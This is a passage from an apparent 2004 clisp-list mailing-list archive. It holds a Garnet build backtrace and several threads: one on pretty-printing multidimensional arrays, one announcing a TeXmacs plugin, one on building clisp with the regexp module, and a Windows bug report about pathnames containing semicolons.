  (FUNCALL #:G59728 OPAL::THE-SCHEMA)))
EVAL frame for form 
(LET* ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE)))
 (IF #:G59728
  (LET
   ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE)
    (KR::*KR-SEND-PARENT* NIL))
   (FUNCALL #:G59728 OPAL::THE-SCHEMA))))
<25> #<SPECIAL-OPERATOR LET*>
EVAL frame for form 
(LET ((OPAL::THE-SCHEMA GARNET-GADGETS::WINDOW))
 (LET* ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE)))
  (IF #:G59728
   (LET
    ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE)
     (KR::*KR-SEND-PARENT* NIL))
    (FUNCALL #:G59728 OPAL::THE-SCHEMA)))))
<26> #<SPECIAL-OPERATOR LET>
EVAL frame for form 
(LET
 ((GARNET-GADGETS::WINDOW
   (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL) INTERACTORS:INTERACTOR-WINDOW
    T T NIL NIL '(:VISIBLE)
    (CONS :PARENT (KR::VALUE-FN GARNET-GADGETS:ERROR-GADGET :PARENT-WINDOW))))
  (GARNET-GADGETS::AGGREGATE
   (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL) OPAL:AGGREGATE T T NIL NIL)))
 (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :AGGREGATE GARNET-GADGETS::AGGREGATE)
 (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::WINDOW))
  (LET* ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE)))
   (IF #:G59728
    (LET
     ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE)
      (KR::*KR-SEND-PARENT* NIL))
     (FUNCALL #:G59728 OPAL::THE-SCHEMA)))))
 (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::AGGREGATE))
  (LET*
   ((#:G59729 OPAL::THE-SCHEMA)
    (#:G59730 (KR::VALUE-FN #:G59729 :ADD-COMPONENT)))
   (IF #:G59730
    (LET
     ((KR::*KR-SEND-SELF* #:G59729) (KR::*KR-SEND-SLOT* :ADD-COMPONENT)
      (KR::*KR-SEND-PARENT* NIL))
     (FUNCALL #:G59730 OPAL::THE-SCHEMA GARNET-GADGETS:ERROR-GADGET)))))
 (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :ERROR-GADGET
  GARNET-GADGETS:ERROR-GADGET)
 (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :MODAL-P
  (KR::O-FORMULA-FN
   #'(LAMBDA NIL
      (DECLARE
       (SYSTEM::SOURCE
        (NIL (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3)))
         (GVL :ERROR-GADGET :MODAL-P))))
      (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3)))
      (KR::GV-CHAIN KR::*SCHEMA-SELF* '(:ERROR-GADGET :MODAL-P)))
   '(GVL :ERROR-GADGET :MODAL-P) NIL NIL)))
<27> #<SPECIAL-OPERATOR LET>
EVAL frame for form 
(PROGN
 (LOCALLY (DECLARE (OPTIMIZE (SPEED 3) (SPACE 0)))
  (LET
   ((KR::FIRST-C-P-M
     (AND (NULL KR::*KR-SEND-PARENT*)
      (LET
       ((#:G59726
         (VALUES
          (GETHASH KR::*KR-SEND-SLOT* (KR::SCHEMA-BINS KR::*KR-SEND-SELF*)))))
       (OR (NULL #:G59726) (LOGBITP 10 (KR::SL-BITS #:G59726)))))))
   (MULTIPLE-VALUE-BIND (METHOD KR::NEW-PARENT)
    (KR::FIND-PARENT KR::*KR-SEND-SELF* KR::*KR-SEND-SLOT*)
    (WHEN METHOD
     (IF KR::FIRST-C-P-M
      (MULTIPLE-VALUE-SETQ (METHOD KR::*KR-SEND-PARENT*)
       (KR::FIND-PARENT KR::NEW-PARENT KR::*KR-SEND-SLOT*))
      (SETQ KR::*KR-SEND-PARENT* KR::NEW-PARENT))
     (IF METHOD
      (LET ((KR::*KR-SEND-SELF* KR::*KR-SEND-PARENT*))
       (FUNCALL METHOD GARNET-GADGETS:ERROR-GADGET)))))))
 (LET
  ((GARNET-GADGETS::WINDOW
    (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL)
     INTERACTORS:INTERACTOR-WINDOW T T NIL NIL '(:VISIBLE)
     (CONS :PARENT (KR::VALUE-FN GARNET-GADGETS:ERROR-GADGET :PARENT-WINDOW))))
   (GARNET-GADGETS::AGGREGATE
    (KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA NIL) OPAL:AGGREGATE T T NIL
     NIL)))
  (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :AGGREGATE GARNET-GADGETS::AGGREGATE)
  (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::WINDOW))
   (LET*
    ((#:G59727 OPAL::THE-SCHEMA) (#:G59728 (KR::VALUE-FN #:G59727 :UPDATE)))
    (IF #:G59728
     (LET
      ((KR::*KR-SEND-SELF* #:G59727) (KR::*KR-SEND-SLOT* :UPDATE)
       (KR::*KR-SEND-PARENT* NIL))
      (FUNCALL #:G59728 OPAL::THE-SCHEMA)))))
  (LET ((OPAL::THE-SCHEMA GARNET-GADGETS::AGGREGATE))
   (LET*
    ((#:G59729 OPAL::THE-SCHEMA)
     (#:G59730 (KR::VALUE-FN #:G59729 :ADD-COMPONENT)))
    (IF #:G59730
     (LET
      ((KR::*KR-SEND-SELF* #:G59729) (KR::*KR-SEND-SLOT* :ADD-COMPONENT)
       (KR::*KR-SEND-PARENT* NIL))
      (FUNCALL #:G59730 OPAL::THE-SCHEMA GARNET-GADGETS:ERROR-GADGET)))))
  (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :ERROR-GADGET
   GARNET-GADGETS:ERROR-GADGET)
  (KR::S-VALUE-FN GARNET-GADGETS::WINDOW :MODAL-P
   (KR::O-FORMULA-FN
    #'(LAMBDA NIL
       (DECLARE
        (SYSTEM::SOURCE
         (NIL (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3)))
          (GVL :ERROR-GADGET :MODAL-P))))
       (DECLARE (OPTIMIZE (SAFETY 1) (SPACE 0) (SPEED 3)))
       (KR::GV-CHAIN KR::*SCHEMA-SELF* '(:ERROR-GADGET :MODAL-P)))
    '(GVL :ERROR-GADGET :MODAL-P) NIL NIL))))
<28> #<SPECIAL-OPERATOR PROGN>
APPLY frame for call (GARNET-GADGETS::INITIALIZE-METHOD-ERROR-GADGET '#k<DIRECT-REF-QUERY-GADGET>)
EVAL frame for form 
(KR::DO-SCHEMA-BODY (KR::MAKE-A-NEW-SCHEMA 'DIRECT-REF-QUERY-GADGET)
 GARNET-GADGETS:QUERY-GADGET T T NIL NIL (CONS :BUTTON-NAMES '("YES" "NO"))
 (CONS :MODAL-P T))
<29> 
#<CLOSURE GARNET-GADGETS::INITIALIZE-METHOD-ERROR-GADGET
  (GARNET-GADGETS:ERROR-GADGET)
  (DECLARE (SYSTEM::IN-DEFUN GARNET-GADGETS::INITIALIZE-METHOD-ERROR-GADGET))
  (BLOCK GARNET-GADGETS::INITIALIZE-METHOD-ERROR-GADGET
   (CALL-PROTOTYPE-METHOD GARNET-GADGETS:ERROR-GADGET)
   (LET
    ((GARNET-GADGETS::WINDOW
      (CREATE-INSTANCE NIL INTERACTORS:INTERACTOR-WINDOW
       (:PARENT (G-VALUE GARNET-GADGETS:ERROR-GADGET :PARENT-WINDOW))
       (:VISIBLE NIL)))
     (GARNET-GADGETS::AGGREGATE (CREATE-INSTANCE NIL OPAL:AGGREGATE)))
    (S-VALUE GARNET-GADGETS::WINDOW :AGGREGATE GARNET-GADGETS::AGGREGATE)
    (OPAL:UPDATE GARNET-GADGETS::WINDOW)
    (OPAL:ADD-COMPONENT GARNET-GADGETS::AGGREGATE GARNET-GADGETS:ERROR-GADGET)
    (S-VALUE GARNET-GADGETS::WINDOW :ERROR-GADGET GARNET-GADGETS:ERROR-GADGET)
    (S-VALUE GARNET-GADGETS::WINDOW :MODAL-P
     (O-FORMULA (GVL :ERROR-GADGET :MODAL-P)))))> 1
<30> #<COMPILED-CLOSURE KR::KR-INIT-METHOD>
<31> #<COMPILED-CLOSURE KR::DO-SCHEMA-BODY>
EVAL frame for form 
(CREATE-SCHEMA 'DIRECT-REF-QUERY-GADGET :GENERATE-INSTANCE
 (:IS-A GARNET-GADGETS:QUERY-GADGET) (:MODAL-P T) (:BUTTON-NAMES '("YES" "NO")))
EVAL frame for form 
(CREATE-INSTANCE 'DIRECT-REF-QUERY-GADGET GARNET-GADGETS:QUERY-GADGET
 (:MODAL-P T) (:BUTTON-NAMES '("YES" "NO")))
EVAL frame for form (LOAD COMMON-LISP-USER::FINALNAME)
<32> #<SYSTEM-FUNCTION EVAL>
<33> #<COMPILED-CLOSURE LOAD>
EVAL frame for form 
(LET*
 ((COMMON-LISP-USER::HEAD
   (SUBSEQ COMMON-LISP-USER::FILENAME 0 COMMON-LISP-USER::POS))
  (COMMON-LISP-USER::TAIL
   (SUBSEQ COMMON-LISP-USER::FILENAME (1+ COMMON-LISP-USER::POS)))
  (COMMON-LISP-USER::PREFIX
   (OR
    (EVAL
     (CDR
      (ASSOC COMMON-LISP-USER::HEAD COMMON-LISP-USER::GARNET-LOAD-ALIST :TEST
       #'STRING=)))
    (ERROR "Bad prefix ~S~%" COMMON-LISP-USER::HEAD)))
  (COMMON-LISP-USER::FINALNAME
   (COMMON-LISP-USER::GARNET-PATHNAMES COMMON-LISP-USER::TAIL
    COMMON-LISP-USER::PREFIX)))
 (FORMAT T "Loading ~s~%" COMMON-LISP-USER::FINALNAME)
 (LOAD COMMON-LISP-USER::FINALNAME))
<34> #<SPECIAL-OPERATOR LET*>
<35> #<SPECIAL-OPERATOR IF>
EVAL frame for form 
(IF COMMON-LISP-USER::POS
 (LET*
  ((COMMON-LISP-USER::HEAD
    (SUBSEQ COMMON-LISP-USER::FILENAME 0 COMMON-LISP-USER::POS))
   (COMMON-LISP-USER::TAIL
    (SUBSEQ COMMON-LISP-USER::FILENAME (1+ COMMON-LISP-USER::POS)))
   (COMMON-LISP-USER::PREFIX
    (OR
     (EVAL
      (CDR
       (ASSOC COMMON-LISP-USER::HEAD COMMON-LISP-USER::GARNET-LOAD-ALIST :TEST
        #'STRING=)))
     (ERROR "Bad prefix ~S~%" COMMON-LISP-USER::HEAD)))
   (COMMON-LISP-USER::FINALNAME
    (COMMON-LISP-USER::GARNET-PATHNAMES COMMON-LISP-USER::TAIL
     COMMON-LISP-USER::PREFIX)))
  (FORMAT T "Loading ~s~%" COMMON-LISP-USER::FINALNAME)
  (LOAD COMMON-LISP-USER::FINALNAME))
 (PROGN (FORMAT T "NO COLON, Loading ~s~%" COMMON-LISP-USER::FILENAME)
  (LOAD COMMON-LISP-USER::FILENAME)))
EVAL frame for form 
(LET ((COMMON-LISP-USER::POS (POSITION #\: COMMON-LISP-USER::FILENAME)))
 (IF COMMON-LISP-USER::POS
  (LET*
   ((COMMON-LISP-USER::HEAD
     (SUBSEQ COMMON-LISP-USER::FILENAME 0 COMMON-LISP-USER::POS))
    (COMMON-LISP-USER::TAIL
     (SUBSEQ COMMON-LISP-USER::FILENAME (1+ COMMON-LISP-USER::POS)))
    (COMMON-LISP-USER::PREFIX
     (OR
      (EVAL
       (CDR
        (ASSOC COMMON-LISP-USER::HEAD COMMON-LISP-USER::GARNET-LOAD-ALIST :TEST
         #'STRING=)))
      (ERROR "Bad prefix ~S~%" COMMON-LISP-USER::HEAD)))
    (COMMON-LISP-USER::FINALNAME
     (COMMON-LISP-USER::GARNET-PATHNAMES COMMON-LISP-USER::TAIL
      COMMON-LISP-USER::PREFIX)))
   (FORMAT T "Loading ~s~%" COMMON-LISP-USER::FINALNAME)
   (LOAD COMMON-LISP-USER::FINALNAME))
  (PROGN (FORMAT T "NO COLON, Loading ~s~%" COMMON-LISP-USER::FILENAME)
   (LOAD COMMON-LISP-USER::FILENAME))))
<36> #<SPECIAL-OPERATOR LET>
APPLY frame for call (COMMON-LISP-USER::GARNET-LOAD '"c32:c32-lapidary")
EVAL frame for form 
(COMMON-LISP-USER::GARNET-LOAD
 (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
<37> 
#<CLOSURE COMMON-LISP-USER::GARNET-LOAD (COMMON-LISP-USER::FILENAME)
  (DECLARE (SYSTEM::IN-DEFUN COMMON-LISP-USER::GARNET-LOAD))
  (BLOCK COMMON-LISP-USER::GARNET-LOAD
   (LET ((COMMON-LISP-USER::POS (POSITION #\: COMMON-LISP-USER::FILENAME)))
    (IF COMMON-LISP-USER::POS
     (LET*
      ((COMMON-LISP-USER::HEAD
        (SUBSEQ COMMON-LISP-USER::FILENAME 0 COMMON-LISP-USER::POS))
       (COMMON-LISP-USER::TAIL
        (SUBSEQ COMMON-LISP-USER::FILENAME (1+ COMMON-LISP-USER::POS)))
       (COMMON-LISP-USER::PREFIX
        (OR
         (EVAL
          (CDR
           (ASSOC COMMON-LISP-USER::HEAD COMMON-LISP-USER::GARNET-LOAD-ALIST
            :TEST #'STRING=)))
         (ERROR "Bad prefix ~S~%" COMMON-LISP-USER::HEAD)))
       (COMMON-LISP-USER::FINALNAME
        (COMMON-LISP-USER::GARNET-PATHNAMES COMMON-LISP-USER::TAIL
         COMMON-LISP-USER::PREFIX)))
      (FORMAT T "Loading ~s~%" COMMON-LISP-USER::FINALNAME)
      (LOAD COMMON-LISP-USER::FINALNAME))
     (PROGN (FORMAT T "NO COLON, Loading ~s~%" COMMON-LISP-USER::FILENAME)
      (LOAD COMMON-LISP-USER::FILENAME)))))> 1
EVAL frame for form 
(TAGBODY #:G101312 (IF (ENDP #:G101311) (GO #:G101313))
 (SETQ COMMON-LISP-USER::FILE (CAR #:G101311))
 (COMMON-LISP-USER::GARNET-COMPILE
  (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
 (COMMON-LISP-USER::GARNET-LOAD
  (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
 (SETQ #:G101311 (CDR #:G101311)) (GO #:G101312) #:G101313
 (RETURN-FROM NIL (PROGN NIL)))
<38> #<SPECIAL-OPERATOR TAGBODY>
EVAL frame for form 
(LET* ((#:G101311 COMMON-LISP-USER::C32-FILES) (COMMON-LISP-USER::FILE NIL))
 (DECLARE (LIST #:G101311))
 (TAGBODY #:G101312 (IF (ENDP #:G101311) (GO #:G101313))
  (SETQ COMMON-LISP-USER::FILE (CAR #:G101311))
  (COMMON-LISP-USER::GARNET-COMPILE
   (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
  (COMMON-LISP-USER::GARNET-LOAD
   (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
  (SETQ #:G101311 (CDR #:G101311)) (GO #:G101312) #:G101313
  (RETURN-FROM NIL (PROGN NIL))))
<39> #<SPECIAL-OPERATOR LET*>
EVAL frame for form 
(BLOCK NIL
 (LET* ((#:G101311 COMMON-LISP-USER::C32-FILES) (COMMON-LISP-USER::FILE NIL))
  (DECLARE (LIST #:G101311))
  (TAGBODY #:G101312 (IF (ENDP #:G101311) (GO #:G101313))
   (SETQ COMMON-LISP-USER::FILE (CAR #:G101311))
   (COMMON-LISP-USER::GARNET-COMPILE
    (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
   (COMMON-LISP-USER::GARNET-LOAD
    (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
   (SETQ #:G101311 (CDR #:G101311)) (GO #:G101312) #:G101313
   (RETURN-FROM NIL (PROGN NIL)))))
<40> #<SPECIAL-OPERATOR BLOCK>
EVAL frame for form 
(DO*
 ((#:G101311 COMMON-LISP-USER::C32-FILES (CDR #:G101311))
  (COMMON-LISP-USER::FILE NIL))
 ((ENDP #:G101311) NIL) (DECLARE (LIST #:G101311))
 (SETQ COMMON-LISP-USER::FILE (CAR #:G101311))
 (COMMON-LISP-USER::GARNET-COMPILE
  (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
 (COMMON-LISP-USER::GARNET-LOAD
  (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)))
EVAL frame for form 
(DOLIST (COMMON-LISP-USER::FILE COMMON-LISP-USER::C32-FILES)
 (COMMON-LISP-USER::GARNET-COMPILE
  (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE))
 (COMMON-LISP-USER::GARNET-LOAD
  (CONCATENATE 'STRING "c32:" COMMON-LISP-USER::FILE)))
EVAL frame for form (LOAD (MERGE-PATHNAMES "c32-compiler" COMMON-LISP-USER::GARNET-C32-SRC))
<41> #<SYSTEM-FUNCTION EVAL>
<42> #<COMPILED-CLOSURE LOAD>
EVAL frame for form 
(WHEN COMMON-LISP-USER::COMPILE-C32-P
 (FORMAT T "~%  %%%%%%%%%%%%%%  Compiling C32 %%%%%%%%%%%%%%% ~%")
 (LOAD (MERGE-PATHNAMES "c32-compiler" COMMON-LISP-USER::GARNET-C32-SRC)))
<43> #<SPECIAL-OPERATOR WHEN>
EVAL frame for form (LOAD "garnet-compiler.lisp")
<44> #<SYSTEM-FUNCTION EVAL>
<45> #<COMPILED-CLOSURE LOAD>
EVAL frame for form (LOAD "build.lisp")
<46> #<SYSTEM-FUNCTION EVAL>
<47> #<COMPILED-CLOSURE LOAD>
Printed 47 frames
Break 1 C32[2]> 



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From bruno@clisp.org Wed Jan 28 11:32:44 2004
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Subject: [clisp-list] pretty-printing multi-dimensional arrays
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Date: Wed Jan 28 16:18:03 2004
X-Original-Date: Wed, 28 Jan 2004 20:29:25 +0100

Pretty-printing of multidimentional arrays is not pretty. The first sample
is OK, the second one is not.

> (make-array '(20 20) :initial-element 0)
#2A((0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0)
    (0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0))

> (make-array '(20 20) :initial-element 0.5)
#2A((0.5
     0.5
     0.5
....(nearly 400 lines skipped)
     0.5
     0.5
     0.5))

1) Does ANSI CL mandate this stupid behaviour of printing just one element
   on each line?
2) If not, can you instead implement a more dense representation that
   attempts to condense as many array elements on a line as fit there,
   Instead of spewing out hundreds of lines of output? I mean, the
   pretty printer's output is made for humans. What I would expect is

#2A((0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 
    0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5)
    (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
     0.5 0.5))


Bruno



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Hello everyone,

GNU TeXmacs (www.texmacs.org) 1.0.3.2 now includes plugin support for
CLisp. You can use CLisp to render data into a rich TeX-like markup in a
WYSIWYG environment. You have direct access to the Lisp command line, but
Lisp code could easily be written to allow you to 'draw' Lisp
s-expressions with graphical trees. Editable tables for array entry are
also possible.

I am putting a PDF of CLisp running in TeXmacs for anyone that is
interested at http://mathlab.sunysb.edu/~mgraffam/tm-clisp.pdf

If you are interested in using TeXmacs as an interface to Lisp, please
email me any ideas or comments you might have.

Enjoy!



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> * Russell McManus <ehffryy_zpznahf@lnubb.pbz> [2004-01-28 14:07:10 -0500]:
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> I've tried to figure out who to build a clisp 2.32 binary on my NetBSD
> i386 machine that includes the regexp module.  The commands I have
> tried are as follows:
>
>   ./configure with-gcc
>   cd with-gcc
>   ./makemake --with-dynamic-ffi --with-dynamic-modules --with-module=regexp > Makefile
>   gmake
>   sudo gmake install
>
> This installed a binary in /usr/local/bin/clisp which works, but does
> not appear to include the regexp module.  What am I doing wrong?

<http://clisp.cons.org/clisp.html#opt-link-set>
try "clisp -K full".

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>>>>> "Bruno" == Bruno Haible <bruno@clisp.org> writes:

    Bruno> 1) Does ANSI CL mandate this stupid behaviour of printing just one element
    Bruno>    on each line?
    Bruno> 2) If not, can you instead implement a more dense representation that
    Bruno>    attempts to condense as many array elements on a line as fit there,
    Bruno>    Instead of spewing out hundreds of lines of output? I mean, the
    Bruno>    pretty printer's output is made for humans. What I would expect is

    Bruno> #2A((0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5
    Bruno>      0.5 0.5)

FWIW, cmucl prints it like this.

ACL 6.2 also prints it like this, except it doesn't print all 20
elements.  I guess I need to set some variable or other to print out
more....

Ray




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> * Michael Graffam <ztenssnz@znguyno.fhalfo.rqh> [2004-01-28 20:24:32 -0500]:
>
> GNU TeXmacs (www.texmacs.org) 1.0.3.2 now includes plugin support for
> CLisp.

why isn't CLISP mentioned on
<http://www.texmacs.org/tmweb/plugins/plugins.en.html>?


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Clisp fails to open pathnames that have a semicolon:

[57]> (lisp-implementation-version)
"2.32 (2003-12-29) (built 3281848709) (memory 3281887410)"
[58]> (directory "d:\\Temp\\clisp\\*")
(#P"D:\\Temp\\clisp\\foo;bar.baz")
[59]> (defvar foo (open (car *)))
*** - PARSE-NAMESTRING: syntax error in filename "D:\\Temp\\clisp\\foo;bar.baz" at position 2
Break 1 [60]> 

This is on windows 2000. The file can be opened on Linux
(same clisp version).

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Clisp fails to open pathnames that have a semicolon:

[57]> (lisp-implementation-version)
"2.32 (2003-12-29) (built 3281848709) (memory 3281887410)"
[58]> (directory "d:\\Temp\\clisp\\*")
(#P"D:\\Temp\\clisp\\foo;bar.baz")
[59]> (defvar foo (open (car *)))
*** - PARSE-NAMESTRING: syntax error in filename "D:\\Temp\\clisp\\foo;bar.baz" at position 2
Break 1 [60]> 

This is on windows 2000. The file can be opened on Linux
(same clisp version).


P.S. This one is the second time that I send this post to
gmane. Hopefully it wont be a duplicate.


-- 
Eduardo Muñoz          | (prog () 10 (print "Hello world!")
http://213.97.131.125/ |          20 (go 10))



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On Wednesday, Jan 28, 2004, at 20:29 Europe/Berlin, Bruno Haible wrote:

> Pretty-printing of multidimentional arrays is not pretty. The first 
> sample
> is OK, the second one is not.
>
>> ...
>> (make-array '(20 20) :initial-element 0.5)
> #2A((0.5
>      0.5
>      0.5
> ....(nearly 400 lines skipped)
>      0.5
>      0.5
>      0.5))
> 1) Does ANSI CL mandate this stupid behaviour of printing just one 
> element
>    on each line?
this looks like a bug.
> 2) If not, can you instead implement a more dense representation that
>    attempts to condense as many array elements on a line as fit there,
>    Instead of spewing out hundreds of lines of output? I mean, the
>    pretty printer's output is made for humans. What I would expect is
as a workaround one might set *print-right-margin*.
>
> #2A((0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 
> 0.5 0.5
>      0.5 0.5)
>     ...)

[tschichold:clisp/clisp-2003-12-26/build-20031226]                      
                                                  janson% ./clisp
  ;; ...
[1]> (let ((*print-right-margin* 256))
     (pprint #2A((0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 
0.5 0.5 0.5 0.5 0.5 0.5 0.5)
     (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 
0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
     (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 
0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
     (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 
0.5 0.5 0.5 0.5))))

#2A((0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 
0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
     (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 
0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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     (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 
0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
     (0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 0.5 
0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
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0.5 0.5 0.5 0.5)
